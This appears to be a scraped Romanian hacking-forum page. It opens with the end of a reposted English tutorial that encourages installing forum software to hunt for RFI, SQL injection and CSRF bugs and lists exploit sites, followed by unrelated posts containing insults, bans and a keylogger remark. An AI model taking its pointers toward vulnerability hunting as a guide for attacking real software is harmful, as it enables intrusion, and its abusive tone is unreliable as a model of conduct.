Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect... REFERENCES: www.google.com.np www.milw0rm.com www.gonullyourself.org www.darkmindz.com *****Never hack without condoms else you will fuck yourself***** Peace~~ Sursa: HellBound Hackers

Ratati fara floci, invatati si voi sa respectati. Parintii sunt de vina ca sunteti niste aurolaci. Eu am mai vorbit cate ceva cu firewind si am vazut cum gandeste, are o varsta. Asa cu copii din ziua de azi. Copii fara viitor.

Ce cacat sunteti asa multi online? Sa beti cate un pahar pentru fiecare injuratura pe care mi-ati adresat-o, daca "va tine". Anu asta nu mai dau banuri

Dark_Knight a luat si bataie de la cineva, ce-i drept nu de pe RST, dar "din domeniu". Cel care l-a batut spunea ca e un gras urat si plin de cosuri. Dar parca e postata si o poza cu el pe aici pe undeva.

Daca e detectat ca fiind "Ardamax", probabil este vorba de "Ardamax" nu? Deci nu e "Yahoo! Messenger" sau "Winamp". Si din moment ce face niste lucruri urate e normal sa fie detectabil.

Trebuie ceva mai serios, va mirati apoi de ce sunt atat de multi membri prea putin seriosi...

Thanx. Ban permanent.

De ce contine fiecare executabil 3 fisiere PE (executabile sau DLL-uri, probabil executabile)? Nu stau sa le analizez, vreau doar o explicatie.

Cum ti le trimit? De ce se intelege prin Hip-Hop "muzica buna". Adica de ce intelegeti voi asta?